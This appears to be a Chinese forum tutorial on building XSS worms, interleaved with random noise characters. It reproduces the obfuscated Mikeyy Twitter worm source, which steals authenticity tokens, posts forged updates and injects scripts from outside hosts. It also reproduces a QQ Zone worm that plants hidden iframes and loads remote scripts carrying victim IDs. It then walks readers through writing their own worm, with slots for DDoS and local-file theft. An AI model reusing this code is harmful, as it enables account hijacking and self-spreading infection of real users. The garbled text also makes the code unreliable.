; X9 L1 `/ `, N. Y/ e, d7 z第二版: 1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", " OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", " OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""]; . \5 J: I$ Z: l3 ^
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! u2 Y* G. R+ m/ K0 T- H 3. function XHConn(){
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3 m0 h; }1 S" X) S 4. var _0x6687x2,_0x6687x3=false; ) ?, p% w3 t2 d; h+ _" l' m
( ]) V* ?9 W- j6 E1 @3 A 5. try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); } 1 [: Y6 D+ {7 A6 x! o E9 b
, `: x1 y q( @; r 6. catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); } " L8 X, H% s. p4 C0 ]9 d
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7. catch(e) { try { _0x6687x2= new XMLHttpRequest(); } # \# O: q4 A: a- e4 ^
c( _+ Q& l/ Q7 W, e9 O 8. catch(e) { _0x6687x2=false; }; }; }; $ j- K( Z5 q. @$ q6 |( R. S3 i# R
复制代码第六版: 1. function wait() {
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5 \& R0 Z- n5 u. i6 V0 p3 I& ^: } 2. var content = document.documentElement.innerHTML; # N7 b& k: u) \/ C$ {( K6 G
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3. var tmp_cookie=document.cookie; 7 X2 K) d# Z O6 [; y$ D/ z
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4. var tmp_posted=tmp_cookie.match(/posted/);
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5. authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);
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8 d1 C2 p( R' U* | h 6. var authtoken=authreg.exec(content); . v) J( m) G# J) n( ~& N
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7. var authtoken=authtoken[1];
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8. var randomUpdate= new Array();
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) L4 ^6 Q- u a1 y: s& Q8 r9 H' \& A, l 9. randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy."; 3 a5 X% S: [; i: g1 i u3 P, c! v
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10. randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy."; * K; U" ]# A* K& d! H3 p
, `" P& r) \3 i 11. randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy."; 1 x6 q+ u. A y1 k
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12. randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";
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13. randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";
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14. randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";
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15. randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";
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5 S! x0 [, U9 O* ~' M$ a9 B) t# x 16. randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";
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17. randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";
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18. randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy.";
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19. randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy."; 3 w# |: V8 V7 G* M M& m
7 X% [, s3 a( m 20. randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";
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21. randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe"; & R1 @' U2 A f2 }+ s& n
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22. randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";
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23. randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";
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: E U* T( y9 V, ?" ] 24. , }; T" o# f- O0 t3 x' @4 e+ Y
+ k. T$ z) y+ ]1 p$ R: y, [ 25. var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];
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6 ]5 E5 C5 [' N. p" f) c, q 26. var updateEncode=urlencode(randomUpdate[genRand]);
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$ F) Y' S+ G1 d. c 27.
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28. var ajaxConn= new XHConn(); L% y* y' R$ C2 Q% O; f) `
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29. ajaxConn.connect("/status/update"," OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");
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6 q; y5 B9 b; ]$ {+ V* {$ q 30. var _0xf81bx1c="Mikeyy"; 3 Y1 R* D% ] w
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31. var updateEncode=urlencode(_0xf81bx1c);
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, a/ e/ [! z' E0 i/ z% | 32. var ajaxConn1= new XHConn();
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33. ajaxConn1.connect("/account/settings"," OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save"); % [- o; |8 I! {' L" }0 n: S$ R- P
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34. var genXSS="000; } #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333"; $ H- S& Y6 A! V$ D$ S. k: \
' s9 V5 A6 ?3 u4 ^( n4 ] 35. var XSS=urlencode(genXSS); 5 S0 I2 c M. {
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36. var ajaxConn2= new XHConn();
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; j. G2 Q+ w8 s2 { 37. ajaxConn2.connect("/account/profile_settings","" OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");
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38.
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3 o) n) X8 k$ s* C& U 39. } ; ) P2 v* g6 P0 x/ ~% l) Z5 \) j
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40. setTimeout(wait(),5250);
5 ^' I; t# n4 C复制代码QQ空间XSSfunction killErrors() {return true;}
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window.onerror=killErrors;
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var shendu;shendu=4;6 d6 h0 }: {$ b6 `2 x) q
0 `" E. _$ q4 g# S" V( r; I//---------------global---v------------------------------------------
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//通过indexOf函数得到URL中相应的字符串,用于判断是否登录的吧?9 c3 c$ i) j( r% H8 v
3 ]7 M. k }2 pvar visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";
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$ o2 _* Q* Y! x3 d- Tvar myblogurl=new Array();var myblogid=new Array();' q5 N- \4 @% y) P; M" [6 w
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var gurl=document.location.href;9 a; V# R$ W3 b. N! q, d/ x
+ Y+ E/ O% c$ e9 q- l! {% q var gurle=gurl.indexOf("com/");# ^. P1 _3 O6 L3 T) m/ B
$ ?' X& X5 s3 U7 Y gurl=gurl.substring(0,gurle+3); ' s, b" h$ J' h+ C7 K, E: }7 K
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var visitorID=top.document.documentElement.outerHTML;9 ]6 e* ]7 D+ G! ?
2 T |/ I ?/ E2 L var cookieS=visitorID.indexOf("g_iLoginUin = ");* \. O0 V5 F. ?6 F+ [! E
0 {2 N7 @* S& @7 T) j3 {
visitorID=visitorID.substring(cookieS+14);% ^7 E6 o+ Y8 Q& _
4 o$ y, I" ]. c' F cookieS=visitorID.indexOf(",");+ C( n# C5 j. |% L
" c ?" L, L2 L" }- g' Y visitorID=visitorID.substring(0,cookieS);1 L/ S+ {" @9 n- Y! R2 }, M( B
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get_my_blog(visitorID);: y; Q# {% B6 \: q( }
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DOshuamy();
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6 P' z: c+ b7 l8 Z
- ~4 z8 _, _7 \4 _" L5 Z//挂马
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3 @' e& s# h5 I3 O4 g9 Ifunction DOshuamy(){
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, D* Y6 a) W% \1 l" z* xvar ssr=document.getElementById("veryTitle");. x9 l$ I! ^$ q1 b8 k f( f9 M1 {) j& |, C
& x7 f$ g& o& B2 gssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");; t5 M* w0 K" S9 j) G; @
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+ G2 _2 p' q! f+ g4 T, H& k8 A
. T% V* E: ?! h3 s2 _//如果创建XMLHttpRequest成功就跳到指定的URL去,这个URL是干什么的就不知道了,没看过,刷人气?( T( |* K W- X) X( c9 N2 j! W
$ |* q3 X3 t: A* J5 `function get_my_blog(visitorID){$ P P3 J% g' K8 @* q' e J p% \
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userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";6 ~1 Z! c4 [0 L2 z8 ~) H
$ ^, \' }' v0 d8 o. s8 a Z xhr=createXMLHttpRequest(); //创建XMLHttpRequest对象
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if(xhr){ //成功就执行下面的) F# ~1 ^/ {3 y z8 Z0 X
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xhr.open("GET",userurl,false); //以GET方式打开定义的URL
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xhr.send();guest=xhr.responseText;
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6 B4 x; E$ F) N4 y- w get_my_blogurl(guest); //执行这个函数
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//这里似乎是判断没有登录的) T+ y a$ K! a" o
8 M: A, \% m$ ?* ^" T' Lfunction get_my_blogurl(guest){
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var mybloglist=guest;# i5 }# Y( M$ ^
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var myurls;var blogids;var blogide;1 p6 G% n8 g x7 ?" b
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for(i=0;i<shendu;i++){
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myurls=mybloglist.indexOf('selectBlog('); //查找URL中"selectBlog"字符串,干什么的就不知道了 B' {: ^8 E; [- z0 I7 ]3 w& u
3 G# X5 v4 S! p' ]. q, e }3 M3 \0 d if(myurls!=-1){ //找到了就执行下面的
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mybloglist=mybloglist.substring(myurls+11);# b2 f# R! ^% k7 _# @3 }# q
5 k/ N3 C( Y" p$ N9 V myurls=mybloglist.indexOf(')');: M; t7 N+ a( r) Z% ]" {
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myblogid=mybloglist.substring(0,myurls);5 r8 b7 y4 r7 h# ~2 e' I; G
[. W6 s+ w0 u9 B# ~/ |6 V }else{break;}
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get_my_testself(); //执行这个函数
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}
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0 E: N2 j& O0 _3 ]//这里往哪跳就不知道了
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( t2 b7 d2 u# e0 F* |( a0 afunction get_my_testself(){
4 j1 Q8 D ^. u2 n3 c! X+ q& ~! v5 t( e6 ^' P. [
for(i=0;i<myblogid.length;i++){ //获得blogid的值
% h! E+ Z/ P2 `0 a8 o% k8 \
+ D7 `2 j$ I! T! q4 R( b var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();
7 v, i# K1 }/ G& a- g4 @2 T# M* O* j. d8 ~# x
var xhr2=createXMLHttpRequest(); //创建XMLHttpRequest对象! H5 h( X! f7 D% [2 v5 F P. [
/ f4 ]! x9 J- C, h$ S) K# l if(xhr2){ //如果成功
( |- n |. j, L4 ?* o- z. }# ~4 ^! E. l4 W2 j
xhr2.open("GET",url,false); //打开上面的那个url: o8 _ c; E4 k% D
; V6 u4 K8 z, G1 r
xhr2.send();
, N3 b$ d/ b2 K
: c* x5 o5 y- D7 @+ q" [ guest2=xhr2.responseText;6 \& `8 {7 }5 v
( @' i1 _' R7 U$ t8 M: J var mycheckit=guest2.indexOf("baidu"); //找"baidu"这个字符串,找它做什么?/ G5 a [4 X5 P
) F, U+ e4 k8 A- j9 \, I5 J
var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串5 U( l3 Z. @; t, V
2 ?$ w+ o; L# ~' N% [# j& l' o if(mycheckmydoit!="-1"){ //返回-1则代表没找到
6 t! i% i0 v+ T) g' u. ^1 A
. R. p5 k" r) U targetblogurlid=myblogid;
- r; n1 A# G; \: d
$ d7 ]/ c1 C# q. _' L add_jsdel(visitorID,targetblogurlid,gurl); //执行它
; w! f1 T$ Y, L* N% C: H! m. v1 ?( \# U! \
break;) E, |5 k# r' l; o
0 \# F6 b4 t$ K$ d. l0 M3 @" N
}4 u% y$ U' Z+ {; @; ]/ e) B
; {" `* [- X. w5 v2 ` M) i if(mycheckit=="-1"){# P9 f* n0 e: u4 W6 J% k
7 n0 ?/ M- |- u1 j2 f
targetblogurlid=myblogid;; ?- A1 m4 }! G6 X
* @3 U5 I _+ S( f* h0 O4 a
add_js(visitorID,targetblogurlid,gurl); //执行它
8 c! ]1 E7 c \
, g& K( t r B0 J# x! C1 z! ~ break;% O! i1 q6 V- D' G- f6 A( F
8 ^8 g( }$ C/ ?0 }# h }
8 X$ U, s8 F) N; e1 C" k8 o
3 Z4 t2 R' a9 F% T# s3 J }
2 x0 P% G9 k' E/ ?7 D) C1 b( V/ O" g3 v. `1 X! x$ {
}
' a. |: }1 a6 }+ X9 r" z
0 ^1 G, d+ K" T4 }. V' p1 q} u# |( m& T8 @( `8 B
5 M0 Z9 {! F' R& s' e' k
/ v7 E5 m# }1 J+ x! c N5 A5 O5 x$ A& O1 p
//--------------------------------------
1 J' {' \6 Y. \5 ]
5 Z. y# u. O; q0 E//根据浏览器创建一个XMLHttpRequest对象6 f6 v, F! u+ P4 k# Y
7 B, m, ~+ Y- ^0 t4 tfunction createXMLHttpRequest(){
7 m/ b# B- ]6 g+ C0 `) e6 x6 V' `' F; ?! @2 I7 s }
var XMLhttpObject=null;
2 U5 n y' Y& \0 ^4 k4 G
. h# b3 s6 D. m+ Q( u; c) E if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()} 4 {, R/ g2 o! e5 _
, w- ~0 H6 R& o else
! n7 H5 k/ V E2 E# M' u
- `- @9 J) h( ^4 a, `+ g2 l) y; z { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP']; ( S% g, ~3 c J; V! ^. u# h7 j* F1 q. m
! z4 `7 v; H- v' ]! }8 R. z" S
for(var i=0;i<MSXML.length;i++) ! A- X3 w4 R8 `( Z
7 J# v7 z) H- f! M
{
& X3 B; P7 P# [* ^* J' W5 D/ ?
6 N8 G1 F) y. C: o try & O/ l" \8 m9 d
+ W8 g+ p. o: c { 3 \1 N! e1 }0 T7 }8 Y/ P \
: \* ? b7 J* e; X- g/ a
XMLhttpObject=new ActiveXObject(MSXML); # x/ a3 I& h# v2 R) s/ j
+ ~7 Z$ }6 [: G" D6 v. H( R
break; 9 l7 x+ _' q: B% z( x4 B
- E7 b) _8 a+ u
} 5 \' P( |' D- e! G; R" o3 R
# i8 F( Z( A4 j% J6 @" |3 W" ?) l catch (ex) {
4 p0 i& e8 J" C* E2 n& {4 y( f/ |0 `6 ^* f2 e1 L( j
} & v& ]9 {1 Y+ X ~# n
. ~3 y" j/ u8 w }
+ l# {& ~! b' L+ Q4 E4 a% O2 A% ]. e
}9 W+ G3 Y9 e& Z
+ l/ H& @+ B* r
return XMLhttpObject;% C+ c' u7 n0 X) k
7 j! {& u$ R5 x, i8 P4 ]
}
! [, x% {' y9 q
8 V/ G& n2 K1 p# `; s$ K
. D/ V8 C: R+ P8 S5 I/ t2 A4 e2 w- B; G* {! e# a. t1 d7 F6 d
//这里就是感染部分了
F' B- o& j2 m5 `+ _# w
, _6 O8 t6 I$ {* D9 Q! ?' V! Z; Rfunction add_js(visitorID,targetblogurlid,gurl){# J1 a4 S- I( U' ]: A. J
- f3 [2 E; w$ W9 A g6 f* _var s2=document.createElement('script');
8 K- H! E1 ^: N, f8 U; ~; e* U9 u0 Z/ U( f0 W
s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
# ?6 w* M2 ?+ a' i' Y% S% Y/ v
# P' S; Y+ E: Y- I4 w1 xs2.type='text/javascript';
8 N& o8 U8 c# `3 W3 Y4 t
0 L) [/ W5 b7 y: q) ]' Sdocument.getElementsByTagName('head').item(0).appendChild(s2);
3 L8 C- w1 R$ l/ {- j3 T
( i# B& D( @1 _9 b}
# q' l$ g' U+ T1 B( B9 z/ c4 X' G6 l; U: m6 k) R2 B! N
3 s: J7 V! g, N0 Z
# |$ i$ h. R( A* N$ _
function add_jsdel(visitorID,targetblogurlid,gurl){0 F+ O3 t6 U2 t6 y0 z
j1 _- l( O6 G2 j% Q) Bvar s2=document.createElement('script');% i) ~0 m# g% w2 X
' f( @8 i5 U) S1 s |s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();5 M4 |2 K/ M, p, ?) y, |3 k
+ Q# n& C& j- `4 }1 r. As2.type='text/javascript';
+ w% C- f) f( g$ W- O6 n. h. ^. }& t, j% s y4 e5 ~
document.getElementsByTagName('head').item(0).appendChild(s2);9 N4 r# {4 V) ^* y
A% g( a+ A4 _' r
}
. r' H# Z3 U3 z: l3 R; E复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:
0 l' `1 f" w3 B( ?: {+ Z! @1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.) C* \9 @' I3 r2 a/ D
% x: K$ b- r- C0 z* w
2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)
u$ `7 f& D; L) S
9 M/ Q* y: w) H" h5 X综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~: J9 l- s P# h
# u, }* k$ m0 Q+ s- F' n3 v/ _6 O( c
# U6 i1 R* e! [ P; _5 a S
下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.0 B/ D/ U$ l' n# z2 o
- [+ V; d' J$ |; F首先,自然是判断不同浏览器,创建不同的对象var request = false;) q/ Z; F6 h2 G& W9 K0 C0 x
# {( l! J+ f+ x
if(window.XMLHttpRequest) {6 @+ j4 W7 @4 I, Z* q% }
4 W1 F9 R$ @) d- Z. u7 Krequest = new XMLHttpRequest();( a# @/ |0 Z$ ] L. [0 i
* _& i/ Q. z/ X( c
if(request.overrideMimeType) {' Q- E3 @+ J9 l1 @# R: D* s6 O4 s
. I' }9 y, a1 K% u# Y9 o, }
request.overrideMimeType('text/xml');
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}
2 s/ Y+ Y3 `; n0 t. {1 n. k. K- l
2 \! v1 ]! q$ h6 i) W& T} else if(window.ActiveXObject) {
1 T+ }) h) @+ ]! m5 @- d8 x
; {2 n0 }8 b' k: `' }, z4 l& I3 Vvar versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
8 N3 i& o& r% ~+ `# n# n( X* l6 q% X& r( g# U$ }
for(var i=0; i<versions.length; i++) {; p4 ^4 _9 c7 {# `( o+ c" J/ Z. Z
1 F) X6 s3 x6 s/ S4 Vtry {
: x A, C2 A5 w" p& g& h# L3 G2 A
) ?6 v# a8 y4 D6 H p& n( ?2 Frequest = new ActiveXObject(versions);
: A+ s3 p1 F, g$ c4 S8 q
7 _8 y) B7 O7 q# n} catch(e) {}
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}( Y* \: M* V! @ k! E/ v
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} U+ ~+ A' V9 l5 ~0 b) ]
e! l- s) Q" x7 \9 f& U
xmlHttpReq=request;
' I, Y: Z B" v% S) w1 c3 D复制代码可以此时添加判断浏览器具体型号和版本: function browserinfo(){
V$ @3 c W" ]$ e, ?2 H" Y1 x' a, T0 r' Q. C) F: A/ u
var Browser_Name=navigator.appName;& l% U. D- i. R* g7 ^2 ]
% e4 y( l# E! H* @8 ? t m8 H var Browser_Version=parseFloat(navigator.appVersion);
% E: e' v/ x1 g0 q7 _) G, n7 R5 g* B6 a) r
var Browser_Agent=navigator.userAgent;
6 P' D$ Y& q/ F4 h. l# B+ W7 Z( a" Z* M8 H
: D1 N0 n# `' `: C) Q! A
! {4 W/ z; t( j+ T+ @
var Actual_Version,Actual_Name;" F5 X' ]% ?$ d3 l) g* G
1 `( C4 _9 g. E* l: q
" y6 }: U0 H' m+ f
9 l9 c6 p, O% l var is_IE=(Browser_Name=="Microsoft Internet Explorer");4 k0 A3 O0 m2 ` E3 r. w3 e) l
* l: y, ~& R0 Y, \; f. B, O var is_NN=(Browser_Name=="Netscape");, R# `' X% M W! y m8 X
9 V: U0 N% |& J9 U3 H0 b var is_Ch=(Browser_Name=="Chrome");
9 i* o1 m7 ~: d- a
: x% ~9 h# J( C+ w
# {" q2 u, ~0 y2 M& `
8 \, {3 |) Z. S! y& s if(is_NN){
$ j7 |2 W8 n; ~4 o6 P) x0 B
" S. E6 v4 ?* T if(Browser_Version>=5.0){; g% J- x6 c2 [) ]+ V! `
% l! [9 d# O7 `1 x6 E2 Y# M var Split_Sign=Browser_Agent.lastIndexOf("/");
! |1 Q% B# n0 k% w- y- l4 ?5 K% D2 g& o: }# B+ u
var Version=Browser_Agent.indexOf(" ",Split_Sign);$ R' Q- c0 ?% |0 n3 {. p
9 S* a/ O" I. V8 W
var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);' D+ M. N- r: T6 M2 I+ M, [
1 v/ E& d* O" X) f; k) e% m
! n$ u' E" h9 R* ?. p& h& D$ y# L; L9 b7 D, `* s& B! k0 A) N# T9 v6 `; m
Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);
: X% o+ T0 J# }" g7 n* B H: \- n: C
6 C. A0 l3 n# A2 D' w" n Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);
: B3 ` b- I5 X* O5 ^
% E7 [9 w* _* y z8 G+ |, } } Y8 }8 v6 x4 I* J, @1 Y4 W# p; `' {
9 E- M" n2 }' V else{% h+ K9 z: y; U3 }
1 s' E. s/ M7 G) P' c# k Actual_Version=Browser_Version;
8 u# }1 ~* e% s. x$ Q* A2 r9 a0 [$ _! W
Actual_Name=Browser_Name;
6 ~+ J& R, z; ]1 u7 A9 E% d
* k* r7 f: |5 ?# U' t }: C7 }* f% f( E- e
% V& r& ^5 V! q9 \, B% @( f. z
}
1 g8 X5 o0 G% ?& C, G
" ?% @3 p" S% w( t& \4 _) R7 s3 W else if(is_IE){# V+ N5 V7 o# O2 o) K
: C% y& e1 l( i7 V$ H. f
var Version_Start=Browser_Agent.indexOf("MSIE");
2 S# L0 Y9 H8 m- {3 a# m) ~ H% B' l* N' ^, t5 Q
var Version_End=Browser_Agent.indexOf(";",Version_Start);) u4 h: I5 T4 Y8 P9 E0 R
; F5 n/ L$ [. s& R( A1 L* @9 T Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)+ B: e8 o: n' w; e0 x; R) \
* v- A" k( c5 e% z M. a) d7 F Actual_Name=Browser_Name;
2 M5 b1 t K. l: v" A7 t8 ^- |6 Y7 C6 N7 i# v# V6 H0 j
2 v8 P3 U# a1 L) F9 D( F# ~7 o! K/ J1 Z B
if(Browser_Agent.indexOf("Maxthon")!=-1){
" z+ b$ j* S3 n9 j, {
6 L6 Q" ~3 N5 f; W+ E1 F1 f Actual_Name+="(Maxthon)";
7 _% F/ b+ Q( l
/ I- B3 ?8 x" F }
+ a& y. _. }0 ~, o1 u! g9 n6 `$ W) @+ A+ g# s
else if(Browser_Agent.indexOf("Opera")!=-1){
5 L. s9 e, Z! v' R
) w u! _# u( M) U4 [6 A8 K8 q Actual_Name="Opera";# d! [/ M0 U. u2 D( `; Y5 K
# x7 r2 H8 m0 v4 X) C/ [( ?4 R! p
var tempstart=Browser_Agent.indexOf("Opera");$ v7 q' _( Y7 f3 e% ~6 z
9 A9 Z3 I+ h$ W var tempend=Browser_Agent.length; N& r5 D. K! [$ ~" x0 r1 H
0 B. ]0 k: v$ F/ K2 U. }, w# n, J g* @ Actual_Version=Browser_Agent.substring(tempstart+6,tempend)9 |! r, }; A/ i* b- [! r0 g2 T: {( K
2 T+ H) x7 B8 f a4 R4 s }
f" [& v' o5 N% R0 Q9 S! M$ q' E
}( {3 g% E1 D" ~7 l) S
% \. v3 o$ P$ p! ?
else if(is_Ch){/ S* @" Y* s* N9 G' e/ o4 Y
# u+ _ m" d" q& x var Version_Start=Browser_Agent.indexOf("Chrome");# j% ?% h0 G2 B. E6 s1 l$ S
2 v, }4 C2 G0 X I/ i6 _- q# Y
var Version_End=Browser_Agent.indexOf(";",Version_Start);$ ]3 x$ t d8 w7 [- g! @; Q0 Q% Z
# m8 O, e$ A6 C6 [
Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End). R" X& t, ~+ m5 K! @
. j& |. O$ r$ y8 h8 c" T- R
Actual_Name=Browser_Name;
& \: b( A2 ^3 \; |" {) g! P- `
# G% h! }% o: r4 P7 F* m , D8 Q# F" d2 d: P8 T+ D
, z) p$ u+ V0 m: T# P
if(Browser_Agent.indexOf("Maxthon")!=-1){' d+ Q4 E0 V! g- X7 n H
, `4 I/ _" O# K
Actual_Name+="(Maxthon)";! d3 }7 M. _( w8 v0 a8 b+ k
- d1 n l$ c0 ?, t
}
$ V4 f/ T& ^5 C! D% v
# K4 T, v0 o. {5 u j9 a4 | else if(Browser_Agent.indexOf("Opera")!=-1){
, X: a F1 R6 T: i, o7 Q% Q# v' y
) p4 J+ F) _1 W/ u) I7 i6 I Actual_Name="Opera";4 g; p: K+ U" Y' ~; p5 k; l
1 S, X5 j2 B3 s6 X) f var tempstart=Browser_Agent.indexOf("Opera");% ^& a6 L! C7 A" T% h+ U7 y
; p# ]& Z1 |) e6 A, e var tempend=Browser_Agent.length;4 v, E+ N4 j5 p: s7 \2 a. V
$ p5 W5 n( o8 L! z3 c5 q
Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
7 v& [5 k/ J2 K8 T. | E2 b; m0 @) x' r/ u9 Q1 j7 A0 b! _: b
}1 P1 B4 W/ J6 N s5 R8 o3 z! G
0 q% P2 U( _ ]( j; M% G0 [# z/ m
}
! i" `" O' n, Z
& A3 p8 U0 K7 L0 b& C% w else{
2 T* L% |% T: n2 @+ o" [) G% v; p! L; o& j
Actual_Name="Unknown Navigator"
" j+ {1 u/ N! ~" E% Y
% c; ^5 g. f3 i2 j1 Q) a* F& ~5 T Actual_Version="Unknown Version"- ]5 F( N @; W* l9 b
) U; z) U" L' {! q/ i
}2 z. T# z& o$ x( S J8 M
* Q& z; C2 I6 w/ ]' J$ ^& A5 n8 a! v7 {8 e
% K) N1 L+ V, C2 [# `- \+ b
navigator.Actual_Name=Actual_Name;
0 u' @ Z# T- I
, z+ v6 k9 b: e b7 w& D" Y" w+ ] navigator.Actual_Version=Actual_Version;
( R* K4 g) g) _+ A! N: L
7 H( S% [$ s* F5 _3 d/ T0 E5 x 0 o6 F6 U8 \5 }! t* M0 G- }
& m w% U) ~- C' W this.Name=Actual_Name;: m4 ?* Z, ^3 A! C$ [
$ J0 C! o% m. R0 x3 S* h
this.Version=Actual_Version;- }& t: m, N$ P1 A0 p9 q) k
# Z' b; `3 L2 [2 P% j2 ` }
! I1 O- n7 x8 y1 }8 l
( }2 {. X, h! n4 I1 C7 a browserinfo();
0 ^/ ~) l# F$ s. V3 m X+ r7 V- ?' \* W
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}
. E3 q: w \' g; T& z
! b7 u4 y! ]* C2 E# {3 u if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}/ y( z( g0 ]6 T, p4 ^
1 X [1 K: G* x y' y if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}; F9 G( C% S1 e: v! W9 h7 @ D
1 t; H+ f$ n! o if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}1 O6 u7 T, h" f2 K
复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码
\( J2 l; B2 r# T" n4 N; h复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
& h% ]8 W4 d u, Z6 P复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false); //读取某页面.
- C0 g8 v( m# {, _; D) F& H7 ` Y2 x: }/ n) m; h% L- u
xmlHttpReq.send(null);
" I8 `2 {" ~. X7 a; ^
